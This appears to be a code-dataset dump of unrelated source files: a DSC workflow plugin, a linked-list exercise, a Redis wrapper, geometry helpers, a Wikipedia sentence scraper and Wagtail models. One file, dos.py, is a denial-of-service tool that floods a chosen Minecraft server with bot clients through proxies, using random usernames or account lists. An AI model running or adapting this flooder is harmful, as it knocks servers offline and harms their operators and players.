-e{BASH_UTILS}'\n # FIXME: need to make it work for loading at least \"meta\" yaml file\n # Now just list all the names here\n # including meta file\n res += '\\n'.join(['\\n{}={}'.format(f\"{self.identifier}_{item[1]}\", \"$[_output]\") if item[2] is None else (item[1], \"$[_output:n].%s\" % item[2]) \\\n for item in depends_other])\n if len(depends_other):\n res += '\\nDSC_REPLICATE=0'\n if self.module_input:\n res += '\\n' + '\\n'.join(sorted(self.module_input))\n if self.tempfile:\n res += '\\n' + '\\n'.join(sorted(self.tempfile))\n return res\n\n def get_return(self, output_vars):\n if output_vars is None:\n return \"\\ttouch $[_output]\"\n if len(output_vars) == 0:\n return ''\n res = deepcopy(output_vars)\n container = dict(pair for d in self.container for pair in d.items())\n # FIXME: need more variables here\n for key, val in res.items():\n if val in container:\n res[key] = container[val]\n res['DSC_DEBUG'] = dict()\n res['DSC_DEBUG']['replicate'] = 0\n return f\"\\ncat >> $[_output] << EOF\\n{dict2yaml(res)}\\nEOF\"\n\n @staticmethod\n def add_try(content, n_output):\n return ''\n\n def __str__(self):\n return 'bash'\n\n\nclass RPlug(BasePlug):\n def __init__(self, identifier=''):\n super().__init__(name='R', identifier=identifier)\n self.output_ext = 'rds'\n\n def add_input(self, lhs, rhs):\n if isinstance(lhs, str):\n # single value input add\n self.module_input.append('{} <- {}'.format(\n self.get_var(lhs), rhs if (not rhs.startswith('$'))\n or rhs in ('${_output:r}', '${_input:r}') else '{}{}'.format(\n self.identifier, rhs)))\n elif isinstance(lhs, (list, tuple)):\n # multiple value input add\n for x in lhs:\n if rhs.startswith(\"$\") and not rhs.startswith(\"${\"):\n self.module_input.append('{} <- {}{}'.format(\n self.get_var(x), self.identifier, rhs))\n elif not rhs.startswith(\"$\"):\n self.module_input.append('{} <- {}'.format(\n self.get_var(x), rhs))\n else:\n self.module_input.append('{} <- {}'.format(\n self.get_var(x[2]),\n rhs.replace(\n ':r', '[{}].with_suffix(\\'.{}\\'):r'.format(\n x[0], x[1][-1]))))\n\n def add_tempfile(self, lhs, rhs):\n if rhs == '':\n self.tempfile.append(f'TMP_{self.identifier[4:]} <- tempdir()')\n self.tempfile.append(\n f'{self.get_var(lhs)} <- paste0(TMP_{self.identifier[4:]}, \"/\", ${{_output[0]:bnr}}, \".{lhs}\")'\n )\n else:\n self.tempfile.append('{} <- {}'.format(\n self.get_var(lhs),\n f'paste0(${{_output[0]:nr}}, \".{lhs}.{rhs}\")'))\n\n def load_env(self, depends_other, depends_self):\n '''\n depends_other: [(name, var, ext), (name, var, ext), ...]\n depends: {name: [(var, ext), (var, ext)], ...}\n '''\n depends = OrderedDict()\n for x in depends_other:\n if x[0] not in depends:\n depends[x[0]] = [(x[1], x[2])]\n else:\n depends[x[0]].append((x[1], x[2]))\n res = f'{self.identifier} <- list()' if len(depends) else ''\n load_idx = [\n i for i, k in enumerate(depends.keys())\n if any([x[1] is None for x in depends[k]])\n ]\n assign_idx = [(i, k) for i, k in enumerate(depends.keys()) if any([\n x[1].split('.')[-1] in ['rds', 'pkl', 'yml'] for x in depends[k]\n if x[1] is not None\n ])]\n loader = 'dscrutils:::read_dsc'\n # load files\n load_in = f'\\n{self.identifier} <- dscrutils:::load_inputs(c(${{paths([_input[i] for i in {load_idx}]):r,}}), {loader})'\n assign_in = ['\\n']\n for i, k in assign_idx:\n for j in depends[k]:\n if j[1] is not None and j[1].split('.')[-1] in [\n 'rds', 'pkl', 'yml'\n ]:\n assign_in.append(\n f'{self.identifier}${j[0]} <- {loader}(\"${{_input[{i}]:n}}.{j[1]}\")'\n )\n assign_in = '\\n'.join(assign_in)\n load_out = f'\\nif (file.exists(\"${{_output}}\")) attach({loader}(\"${{_output}}\"), warn.conflicts = F)'\n if len(load_idx):\n res += load_in\n res += f'\\nDSC_REPLICATE <- {self.identifier}$DSC_DEBUG$replicate'\n # See https://github.com/stephenslab/dsc/commit/41acc397831d7a0b4d96e69466f5f515539dd549\n # ifelse statement is for backward compatibility prior to version 0.4.3.1 and can be removed in the future\n #res += f'\\nDSC_SEED <- {self.identifier}$DSC_DEBUG$seed + ${_index}'\n res += f'\\nDSC_SEED <- ifelse(is.null({self.identifier}$DSC_DEBUG$seed), ${{DSC_STEP_ID_}}, {self.identifier}$DSC_DEBUG$seed) + ${{_index}}'\n else:\n if len(depends):\n # FIXME: have to find another way to pass this down\n res += '\\nDSC_REPLICATE <- 0'\n res += '\\nDSC_SEED <- ${DSC_STEP_ID_} + ${_index}'\n if len(assign_idx):\n res += assign_in\n if depends_self:\n res += load_out\n if self.module_input:\n res += '\\n' + '\\n'.join(sorted(self.module_input))\n if self.tempfile:\n res += '\\n' + '\\n'.join(sorted(self.tempfile))\n return res\n\n def get_input(self, params, lib, seed_option):\n res = 'dscrutils:::source_dirs(c({}))\\n'.format(','.join(\n [repr(x) for x in lib])) if len(lib) else ''\n # load parameters\n keys = [x for x in params if x not in self.container_vars]\n res += '\\n' + '\\n'.join(self.container)\n for k in keys:\n res += '\\n%s <- ${_%s}' % (self.get_var(k), k)\n # timer\n res += f'\\nTIC_{self.identifier[4:]} <- proc.time()'\n # seed\n if seed_option == 'REPLICATE':\n res += '\\nDSC_SEED <- DSC_REPLICATE'\n else:\n res += '\\nDSC_SEED <- DSC_SEED + DSC_REPLICATE'\n res += '\\nset.seed(DSC_SEED)'\n return res\n\n def get_output(self, params):\n res = dict([('DSC_OUTPUT', dict())])\n res['DSC_OUTPUT'] = dict([(k, f'${{_output:n}}.{params[k]}')\n for k in params])\n return '\\n'.join([f'{k} <- paste0(${{_output:nr}}, \".{params[k]}\")' for k in params]) + \\\n f\"\\nwrite({repr(dict2yaml(res))}, paste0(${{_output:nr}}, '.yml'))\"\n\n def get_return(self, output_vars):\n if output_vars is None:\n return '\\tsaveRDS(0, ${_output:r})'\n if len(output_vars) == 0:\n return ''\n res = '\\nsaveRDS(list({}), ${{_output:r}})'.\\\n format(', '.join(['{}={}'.format(x, output_vars[x]) for x in output_vars] + \\\n [f\"DSC_DEBUG=dscrutils:::save_session(TIC_{self.identifier[4:]}, DSC_REPLICATE, DSC_SEED)\"]))\n return res.strip()\n\n def set_container(self, name, value, params):\n value = [v.strip() for v in value.split(',') if v.strip()]\n excluded = [v[1:] for v in value if v.startswith('!')]\n if len(value) == len(excluded):\n # empty or all ! input\n keys = [x for x in params.keys() if x not in excluded]\n else:\n keys = [x for x in value if x not in excluded]\n if len(keys) == 0:\n return\n res = ['{} <- list()'.format(name)]\n for k in keys:\n if '=' in k:\n j, k = (x.strip() for x in k.split('='))\n else:\n j = None\n if not (isinstance(params[k][0], str) and params[k][0].startswith('$')) \\\n and not (isinstance(params[k][0], str) and DSC_FILE_OP.search(params[k][0])):\n res.append('%s$%s <- ${_%s}' %\n (name, j if j is not None else k, k))\n else:\n res.append('%s$%s <- %s' %\n (name, j if j is not None else k, k))\n if k not in self.container_vars:\n self.container_vars[k] = [j]\n else:\n self.container_vars[k].append(j)\n self.container.extend(res)\n\n @staticmethod\n def add_try(content, n_output):\n content = \"tryCatch({\\n\" + '\\n'.join([' ' * 4 + x for x in content.split('\\n')]) + \\\n \"\\n}, error = function(e) {\\n\"\n content += ' script <- sub(\".*=\", \"\", commandArgs()[4])\\n'\n content += ' script <- readChar(script, file.info(script)$size)\\n'\n content += ' script <- paste0(e, \"\\\\n-----------\\\\n\", script)\\n'\n for i in range(n_output):\n content += ' cat(script, file = \"${_output[%s]}.failed\")\\n saveRDS(NULL, ${_output[%s]:r})\\n' % (\n i, i)\n content += '})'\n return content\n\n @staticmethod\n def format_tuple(value):\n # this is the best I'd like to do for R ...\n has_tuple = any(\n [re.match(r'(.*?)\\((.*?)\\)(.*?)', str(v)) for v in value])\n if has_tuple:\n return 'list({})'.format(','.join([\n (f'c({\",\".join([str(vv) for vv in v])})'\n if len(v) > 1 else v[0]) if isinstance(v, tuple) else v\n for v in value\n ]))\n else:\n return 'c({})'.format(','.join(value))\n\n def __str__(self):\n return 'r'\n\n\nclass PyPlug(BasePlug):\n def __init__(self, identifier=''):\n super().__init__(name='python', identifier=identifier)\n self.output_ext = 'pkl'\n\n def add_input(self, lhs, rhs):\n if isinstance(lhs, str):\n # single value input add\n self.module_input.append('{} = {}'.format(\n self.get_var(lhs), rhs if (not rhs.startswith('$'))\n or rhs in ('${_output:r}', '${_input:r}') else '{}[{}]'.format(\n self.identifier, repr(rhs[1:]))))\n elif isinstance(lhs, (list, tuple)):\n # multiple value input add\n for x in lhs:\n if rhs.startswith(\"$\") and not rhs.startswith(\"${\"):\n self.module_input.append('{} = {}[{}]'.format(\n self.get_var(x), self.identifier, repr(rhs[1:])))\n elif not rhs.startswith(\"$\"):\n self.module_input.append('{} = {}'.format(\n self.get_var(x), rhs))\n else:\n self.module_input.append('{} = {}'.format(\n self.get_var(x[2]),\n rhs.replace(\n ':r', '[{}].with_suffix(\\'.{}\\'):r'.format(\n x[0], x[1][-1]))))\n\n def add_tempfile(self, lhs, rhs):\n if rhs == '':\n self.tempfile.append(\n f'TMP_{self.identifier[4:]} = tempfile.gettempdir()')\n self.tempfile.append(\n f'{self.get_var(lhs)} = os.path.join(TMP_{self.identifier[4:]}, ${{_output[0]:bnr}} + \".{lhs}\")'\n )\n else:\n self.tempfile.append('{} = {}'.format(\n self.get_var(lhs), f'${{_output[0]:nr}} + \".{lhs}.{rhs}\"'))\n\n def load_env(self, depends_other, depends_self):\n '''\n depends: [(name, var, ext), ...]\n '''\n res = 'import sys, os, tempfile, timeit, pickle, inspect\\n'\n depends = OrderedDict()\n for x in depends_other:\n if x[0] not in depends:\n depends[x[0]] = [(x[1], x[2])]\n else:\n depends[x[0]].append((x[1], x[2]))\n if len(depends):\n res += f'{self.identifier} = dict()'\n load_idx = [\n i for i, k in enumerate(depends.keys())\n if any([x[1] is None for x in depends[k]])\n ]\n assign_idx = [(i, k) for i, k in enumerate(depends.keys()) if any([\n x[1].split('.')[-1] in ['rds', 'pkl', 'yml'] for x in depends[k]\n if x[1] is not None\n ])]\n # load files\n res += '\\nfrom dsc.dsc_io import load_dsc as __load_dsc__, source_dirs as __source_dirs__'\n load_in = f'\\n{self.identifier} = __load_dsc__([${{paths([_input[i] for i in {load_idx}]):r,}}])'\n assign_in = ['\\n']\n for i, k in assign_idx:\n for j in depends[k]:\n if j[1] is not None and j[1].split('.')[-1] in [\n 'rds', 'pkl', 'yml'\n ]:\n assign_in.append(\n f'{self.identifier}[{repr(j[0])}] = __load_dsc__(\"${{_input[{i}]:n}}.{j[1]}\")'\n )\n assign_in = '\\n'.join(assign_in)\n load_out = '\\nif os.path.isfile(\"${_output}\"): globals().update(__load_dsc__(\"${_output}\"))'\n if len(load_idx):\n res += load_in\n res += f'\\nDSC_REPLICATE = {self.identifier}[\"DSC_DEBUG\"][\"replicate\"]'\n res += f'\\nDSC_SEED = {self.identifier}[\"DSC_DEBUG\"][\"seed\"] + ${{_index}}'\n else:\n if len(depends):\n # FIXME: have to find another way to pass this down\n res += '\\nDSC_REPLICATE = 0'\n res += '\\nDSC_SEED = ${DSC_STEP_ID_} + ${_index}'\n if len(assign_idx):\n res += assign_in\n if depends_self:\n res += load_out\n if self.module_input:\n res += '\\n' + '\\n'.join(sorted(self.module_input))\n if self.tempfile:\n res += '\\n' + '\\n'.join(sorted(self.tempfile))\n return res\n\n def get_input(self, params, lib, seed_option):\n res = '__source_dirs__([{}])\\n'.format(','.join(\n [repr(x) for x in lib])) if len(lib) else ''\n # load parameters\n keys = [x for x in params if not x in self.container_vars]\n res += '\\n' + '\\n'.join(self.container)\n for k in keys:\n res += '\\n%s = ${_%s}' % (self.get_var(k), k)\n res += f'\\nTIC_{self.identifier[4:]} = timeit.default_timer()'\n if seed_option == 'REPLICATE':\n res += '\\nDSC_SEED = DSC_REPLICATE'\n else:\n res += '\\nDSC_SEED += DSC_REPLICATE'\n res += '\\nimport random\\nrandom.seed(DSC_SEED)\\ntry:\\n\\timport numpy\\n\\tnumpy.random.seed(DSC_SEED)\\nexcept Exception:\\n\\tpass'\n return res\n\n def get_output(self, params):\n res = dict([('DSC_OUTPUT', dict())])\n res['DSC_OUTPUT'] = dict([(k, f'${{_output:n}}.{params[k]}')\n for k in params])\n return '\\n'.join([f'{k} = ${{_output:nr}} + \".{params[k]}\"' for k in params]) + \\\n f\"\\nwith open(${{_output:nr}} + '.yml', 'w') as f:\\n\\tf.write({repr(dict2yaml(res))})\"\n\n def get_return(self, output_vars):\n if output_vars is None:\n return '\\timport pickle; pickle.dump(0, open(${_output:r}, \"wb\"))'\n if len(output_vars) == 0:\n return ''\n res = '\\npickle.dump({{{}}}, open(${{_output:r}}, \"wb\"))'.\\\n format(', '.join(['\"{0}\": {1}'.format(x, output_vars[x]) for x in output_vars] + \\\n [f\"'DSC_DEBUG': dict([('time', timeit.default_timer() - TIC_{self.identifier[4:]}), \" \\\n \"('script', inspect.getsource(inspect.getmodule(inspect.currentframe()))), ('replicate', DSC_REPLICATE), ('seed', DSC_SEED)])\"]))\n # res += '\\nfrom os import _exit; _exit(0)'\n return res.strip()\n\n def set_container(self, name, value, params):\n value = [v.strip() for v in value.split(',') if v.strip()]\n excluded = [v[1:] for v in value if v.startswith('!')]\n if len(value) == len(excluded):\n # empty or all ! input\n keys = [x for x in params.keys() if x not in excluded]\n else:\n keys = [x for x in value if x not in excluded]\n if len(keys) == 0:\n return\n res = [f'{name} = dict()']\n for k in keys:\n if '=' in k:\n j, k = (x.strip() for x in k.split('='))\n else:\n j = None\n if not (isinstance(params[k][0], str) and params[k][0].startswith('$')) \\\n and not (isinstance(params[k][0], str) and DSC_FILE_OP.search(params[k][0])):\n res.append('%s[%s] = ${_%s}' %\n (name, repr(str(j if j is not None else k)), k))\n else:\n res.append('%s[%s] = %s' %\n (name, repr(str(j if j is not None else k)), k))\n if k not in self.container_vars:\n self.container_vars[k] = [j]\n else:\n self.container_vars[k].append(j)\n self.container.extend(res)\n\n @staticmethod\n def add_try(content, n_output):\n content = \"try:\\n\" + '\\n'.join([' ' * 4 + x for x in content.split('\\n')]) + \\\n \"\\nexcept Exception as e:\\n\"\n content += ' import sys\\nscript = open(sys.argv[len(sys.argv)-1]).read()\\n'\n for i in range(n_output):\n content += ' open(${_output[%s]:r}).write(\"\")\\n open(\"${_output[%s]}.failed\").write(str(e) + \"\\\\n-----------\\\\n\" + script)\\n' % (\n i, i)\n return content\n\n @staticmethod\n def format_tuple(value):\n has_tuple = any(\n [re.match(r'(.*?)\\((.*?)\\)(.*?)', str(v)) for v in value])\n if has_tuple:\n return '({})'.format(','.join([f\"({','.join(v)})\" for v in value]))\n else:\n return '({})'.format(','.join(value))\n\n def __str__(self):\n return 'python'\n\n\ndef Plugin(key=None, identifier=''):\n if key is None:\n return BasePlug(identifier=identifier)\n elif key.upper() == 'R':\n return RPlug(identifier=identifier)\n elif key.upper() == 'PY':\n return PyPlug(identifier=identifier)\n else:\n return Shell(identifier=identifier)\n","sub_path":"src/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":25437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"543830405","text":"# Definition for singly-linked list.\r\n# class ListNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.next = None\r\n\r\nclass Solution:\r\n # @param a ListNode\r\n # @return a ListNode\r\n def swapPairs(self, head):\r\n pre = ListNode(0)\r\n pre.next = head\r\n cur = head\r\n head = pre\r\n while cur is not None and cur.next is not None:\r\n pre.next = cur.next\r\n cur.next = pre.next.next\r\n pre.next.next = cur\r\n pre = cur\r\n cur = cur.next\r\n return head.next\r\n\r\n","sub_path":"Swap Nodes in Pairs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"364088824","text":"import subprocess\nimport argparse\nimport time\nimport _thread\nimport random\nimport sys\nimport json\nimport platform\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('ip', help=\"Server ip\")\nparser.add_argument('port', help=\"Server port\")\nparser.add_argument('--cracked', help='Use if the server is cracked', action=\"store_true\")\nparser.add_argument('--proxyauth', help='Use a proxy for user-authentication', action=\"store_true\")\nparser.add_argument('--disableproxy', help='Disable the proxy that the client uses to connect to the server', action=\"store_true\")\nparser.add_argument('--ulist', help='Define a list of usernames to join a cracked server on', action=\"store_true\")\n\nargs = parser.parse_args();\n\nbots = 0;\n\ndef connect(emailpassword):\n ep = emailpassword.split(\":\")\n if (platform.system() == 'Darwin'):\n args_python = [\"python3\", \"start.py\"]\n else:\n args_python = [\"python\", \"start.py\"]\n if (args.proxyauth):\n args_python.append(\"--proxyauth\")\n if (args.disableproxy):\n args_python.append(\"--disableproxy\")\n args_python.append(\"--username\")\n args_python.append(ep[0])\n args_python.append(\"--password\")\n args_python.append(ep[1])\n args_python.append(\"--server\")\n args_python.append(args.ip+\":\"+args.port)\n args_python.append(\"--botid\")\n args_python.append(str(bots))\n try:\n subprocess.call(args_python)\n except:\n print(\"Error with minecraft client.\")\ndef connectCracked(username):\n try:\n if (platform.system() == 'Darwin'):\n args_python = [\"python3\", \"start.py\"]\n else:\n args_python = [\"python\", \"start.py\"]\n if (args.proxyauth):\n args_python.append(\"--proxyauth\")\n if (args.disableproxy):\n args_python.append(\"--disableproxy\")\n args_python.append(\"--offline\")\n args_python.append(\"--username\")\n args_python.append(username)\n args_python.append(\"--server\")\n args_python.append(args.ip+\":\"+args.port)\n try:\n subprocess.call(args_python)\n except Exception as e:\n print(\"Error with minecraft client : \"+str(e))\n except Exception as e:\n print(\"Error with minecraft client: \"+e)\n\ncfg = []\nwith open(\"cfg.json\", \"r\") as f:\n cfg = json.load(f)\n\nbot_count = cfg[\"bot_count\"]\n\nif (bot_count == -1):\n print(\"Bot limit: NONE\")\nelse:\n print(\"Bot limit: {0} bot(s)\".format(bot_count))\n\nif (args.cracked):\n try:\n if (args.ulist):\n with open(\"cul.txt\", \"r\") as f:\n line = f.readline()\n line = line.format(random=''.join(random.choice(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\") for _ in range(cfg[\"rand_length\"])))\n while line:\n if (bots >= bot_count and bot_count != -1):\n print(\"Bot limit reached.\")\n break;\n bots += 1;\n print(\"Bots alive: \"+str(bots))\n _thread.start_new_thread(connectCracked, (line.rstrip(),))\n line = f.readline()\n if (args.disableproxy):\n time.sleep(cfg[\"normal_bot_delay\"])\n else:\n time.sleep(cfg[\"proxied_bot_delay\"])\n else:\n while True:\n if (bots >= bot_count and bot_count != -1):\n print(\"Bot limit reached.\")\n break;\n bots += 1;\n print(\"Bots alive: \"+str(bots))\n _thread.start_new_thread(connectCracked,(''.join(random.choice(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\") for _ in range(random.randrange(8,16))), ))\n if (args.disableproxy):\n time.sleep(cfg[\"normal_bot_delay\"])\n else:\n time.sleep(cfg[\"proxied_bot_delay\"])\n while True:\n pass\n except KeyboardInterrupt:\n print(\"Cleaning up...\")\n sys.exit()\nelse:\n try:\n with open('alts.txt', 'r') as f:\n line = f.readline().rstrip()\n while line:\n if (bots >= bot_count and bot_count != -1):\n print(\"Bot limit reached.\")\n break;\n bots += 1;\n print(\"Bots alive: \"+str(bots))\n _thread.start_new_thread(connect,(line,))\n line = f.readline().rstrip()\n if (args.disableproxy):\n time.sleep(cfg[\"normal_bot_delay\"])\n else:\n time.sleep(cfg[\"proxied_bot_delay\"])\n print(\"All Alts Used.\")\n while True:\n pass\n except KeyboardInterrupt:\n print(\"Cleaning up...\")\n sys.exit()\n","sub_path":"dos.py","file_name":"dos.py","file_ext":"py","file_size_in_byte":4797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"494412823","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport redis\nfrom config import Config\n\n\nclass Redis(object):\n\n \"\"\"\n Borg Pattern\n \"\"\"\n __state = {}\n\n def __init__(self):\n self.__dict__ = self.__state\n if '_redis' not in self.__dict__:\n config = Config.get_instance()\n\n pool = redis.ConnectionPool(db=config.redis.get('db', 0),\n host=config.redis.get(\n 'host', 'localhost'),\n port=config.redis.get('port', 6379),\n max_connections=config.redis.get('max_poolsize', 5))\n self._redis = redis.StrictRedis(connection_pool=pool)\n\n def __getattr__(self, name):\n return getattr(self._redis, name)\n","sub_path":"decanter/lib/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"424437792","text":"from shapely.geometry import Point, Polygon, box\r\nfrom shapely.wkt import dumps\r\n\r\n\r\ndef parse_coordinates(coordinates):\r\n if coordinates is None or type(coordinates) is not dict:\r\n return coordinates\r\n\r\n if all(key in coordinates for key in ('lat', 'lng')):\r\n point = Point(float(coordinates['lng']), float(coordinates['lat']))\r\n return dumps(point)\r\n\r\n\r\ndef parse_area(area):\r\n if area is None:\r\n return area\r\n\r\n points = map(get_lng_lat_pair, area)\r\n\r\n if len(points) == 2:\r\n polygon = box(points[0][0], points[0][1], points[1][0], points[1][1])\r\n else:\r\n polygon = Polygon(points)\r\n\r\n return dumps(polygon)\r\n\r\n\r\ndef get_lng_lat_pair(pt):\r\n return float(pt['lng']), float(pt['lat'])\r\n","sub_path":"app/utils/forms_helper.py","file_name":"forms_helper.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"310783884","text":"# -*- coding: utf-8 -*-\n\nimport wikipedia\nimport codecs\nfrom bs4 import BeautifulSoup\nimport requests\nfrom multiprocessing import Pool\nimport os\nfrom wikipedia.exceptions import PageError, DisambiguationError\nfrom collections import defaultdict as dd\nfrom requests.exceptions import ConnectionError, ContentDecodingError\nfrom time import sleep\nfrom utils import get_target_words\nfrom wikipedia.exceptions import WikipediaException\n\n\nBASE_URL = u\"https://en.wikipedia.org\"\n# What Links Here url. Redirection pages omitted.\nWHAT_LINKS_HERE_URL = u\"https://en.wikipedia.org/w/index.php?title=Special:WhatLinksHere/{}&limit={}&hideredirs=1\"\nMIN_SENTENCE_SIZE = 8\n\nLOGGER = None\n\nSLEEP_INTERVAL = 1\n\n\ndef extract_instances(content, word, pos, sense_offset, target_word_page, categories, url=None):\n instances = []\n instances_replaced = []\n for line in content.split('\\n'):\n tokens = line.split()\n num_of_tokens = len(tokens)\n if num_of_tokens >= MIN_SENTENCE_SIZE:\n sentence = []\n sentence_not_replaced = []\n is_observed = False\n for i in xrange(num_of_tokens):\n if word in tokens[i].lower():\n sentence.append(u\"%s\" % word) # replaced\n sentence_not_replaced.append(u\"%s\" % tokens[i])\n is_observed = True\n else:\n sentence.append(tokens[i])\n sentence_not_replaced.append(tokens[i])\n\n if is_observed:\n instances.append(u\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\".format(u' '.join(sentence_not_replaced),\n pos, sense_offset, target_word_page, url,\n u'\\t'.join(categories)))\n instances_replaced.append(u\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\".format(' '.join(sentence), pos, sense_offset,\n target_word_page, url,\n u'\\t'.join(categories)))\n\n return instances, instances_replaced\n\n\ndef wiki_page_query(page_title, num_try=1):\n\n if num_try > 5:\n return None\n\n global SLEEP_INTERVAL\n\n try:\n LOGGER.debug(u'Retrieving {} from Wikipedia'.format(page_title))\n p = wikipedia.page(page_title)\n SLEEP_INTERVAL = 1\n if p is not None:\n try:\n categories = p.categories\n except KeyError: # Somehow sometimes wikipedia library can't fetch any category.\n categories = []\n return p.title, p.content, p.url, categories\n else:\n return None\n except PageError as e:\n LOGGER.info(u\"PageError: {}\".format(page_title, e))\n # wikipedia library has a possible bug for underscored page titles.\n if '_' in page_title:\n title = page_title.replace('_', ' ')\n return wiki_page_query(title)\n # This is most likely the \"What links here\" page and we can safely skip it.\n except DisambiguationError:\n LOGGER.debug(u'Disambiguation Error for {}... get skipped.'.format(page_title))\n return None\n except ConnectionError as e:\n SLEEP_INTERVAL *= 4\n LOGGER.info(u\"ConnectionError: Sleeping {} seconds for {}.\".format(SLEEP_INTERVAL, page_title))\n sleep(SLEEP_INTERVAL)\n wiki_page_query(page_title, num_try + 1) # try again.\n except WikipediaException:\n wiki_page_query(page_title, num_try + 1) # try again.\n except ContentDecodingError as e:\n LOGGER.info(u\"ContentDecodingError: Trying ({})\".format(num_try+1))\n wiki_page_query(page_title, num_try+1)\n except ValueError as e:\n LOGGER.info(u\"ValueError... Sleep and Trying ({})\".format(num_try+1))\n sleep(4)\n wiki_page_query(page_title, num_try+1)\n\n\ndef extract_from_page(page_title, word, offset, fetch_links):\n pos = offset[-1]\n\n response = wiki_page_query(page_title)\n if response is not None:\n title, content, url, categories = response\n else:\n LOGGER.warning(u'No page found for {}'.format(page_title))\n return [], []\n\n instances, instances_replaced = extract_instances(content, word, pos, offset, True, categories, url)\n if fetch_links:\n links = fetch_what_links_here(title, limit=1000)\n for link in links:\n link_page_title = link.replace(u'/wiki/', '')\n # skip irrelevant articles.\n if any(map(lambda x: link_page_title.startswith(x), ['Talk:', 'User_talk:', 'User:'])):\n continue\n link_page_response = wiki_page_query(link_page_title)\n if link_page_response is not None:\n title, content, url, categories = link_page_response\n link_instances, link_instances_replaced = extract_instances(content, word, pos, offset, False, categories, url)\n instances.extend(link_instances)\n instances_replaced.extend(link_instances_replaced)\n\n return instances, instances_replaced\n\n\ndef write2file(filename, lines):\n with codecs.open(filename, 'w', encoding='utf8') as f:\n LOGGER.info(\"Writing {}\".format(filename))\n f.write(u'\\n'.join(lines))\n f.write('\\n')\n\n\ndef extract_instances_for_word(senses, wiki_dir=u'../datasets/wiki/'):\n LOGGER.info(u\"Processing word: %s\" % senses[0]['word'])\n instances = []\n instances_replaced = []\n for sense_args in senses:\n sense_instances, sense_instances_replaced = extract_from_page(**sense_args)\n instances.extend(sense_instances)\n instances_replaced.extend(sense_instances_replaced)\n\n write2file(os.path.join(wiki_dir, u'%s.txt' % senses[0]['word']), instances)\n write2file(os.path.join(wiki_dir, u'%s.tw.txt' % senses[0]['word']), instances_replaced)\n\n\ndef get_next_page_url(soup):\n # here we assume that next link is always in -6 index.\n element = soup.select_one('#mw-content-text').find_all('a')[-6]\n if element.text.startswith('next'):\n return u\"{}{}\".format(BASE_URL, element['href'])\n else:\n # No more element left.\n return None\n\n\ndef fetch_what_links_here(title, limit=1000, fetch_link_size=5000):\n # Max fetch link size is 5000.\n global SLEEP_INTERVAL\n\n fetch_link_size = min(limit, fetch_link_size)\n all_links = []\n next_page_url = WHAT_LINKS_HERE_URL.format(title, fetch_link_size)\n total_link_processed = 0\n content = None\n while total_link_processed < limit and next_page_url is not None:\n LOGGER.debug(u\"Processing link: %s\" % next_page_url)\n try:\n response = requests.get(next_page_url)\n content = response.content\n SLEEP_INTERVAL = 1\n except (ConnectionError, WikipediaException) as e:\n SLEEP_INTERVAL *= 2\n LOGGER.info(u\"ConnectionError, WikiException: Sleeping {} seconds for {}.\".format(SLEEP_INTERVAL, title))\n sleep(SLEEP_INTERVAL)\n continue # try at the beginning\n except ValueError:\n LOGGER.warning(\"ValueError occured for {}\".format(title))\n try:\n if response.status_code == 200 and content is not None:\n soup = BeautifulSoup(content, 'html.parser')\n rows = soup.find(id='mw-whatlinkshere-list').find_all('li', recursive=False)\n links = [row.find('a')['href'] for row in rows]\n next_page_url = get_next_page_url(soup)\n total_link_processed += len(links)\n all_links.extend(links)\n else:\n LOGGER.error(u\"Error while link fetching: %s and %s\" % (next_page_url, response.status_code))\n break\n except ValueError:\n LOGGER.warning(\"ValueError occured 1 for {}\".format(title))\n exit(-1)\n\n return all_links\n\n\ndef extract_from_file(filename, num_process):\n import utils\n\n global LOGGER\n LOGGER = utils.get_logger()\n\n dataset_path = u'../datasets/wiki'\n # get processed words\n processed_words = get_target_words(dataset_path)\n\n jobs = dd(list)\n for line in codecs.open(filename, encoding='utf-8'):\n line = line.split()\n target_word, page_title, offset = line[:3]\n if target_word not in processed_words:\n jobs[target_word].append(dict(word=target_word, page_title=page_title, offset=offset, fetch_links=True))\n\n LOGGER.info(\"Total {} of jobs available. Num of consumer = {}\".format(len(jobs), num_process))\n if num_process > 1:\n pool = Pool(num_process)\n pool.map(extract_instances_for_word, jobs.values())\n else:\n # for v in jobs.values():\n for v in [jobs['milk']]:\n extract_instances_for_word(v)\n\n LOGGER.info(\"Done.\")\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"coarse-wsd/extract/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"354679480","text":"from django.db import models\n\nfrom wagtail.wagtailcore.models import Page\nfrom wagtail.wagtailcore.fields import RichTextField\nfrom wagtail.wagtailadmin.edit_handlers import FieldPanel, \\\n InlinePanel, PageChooserPanel, MultiFieldPanel\nfrom wagtail.wagtaildocs.edit_handlers import DocumentChooserPanel\n\nfrom modelcluster.fields import ParentalKey\n\n\n\n### Home page refactored\n\nclass NewHomePage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n about_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n download_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n releases_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n latest_production_release_page = models.ForeignKey(\n 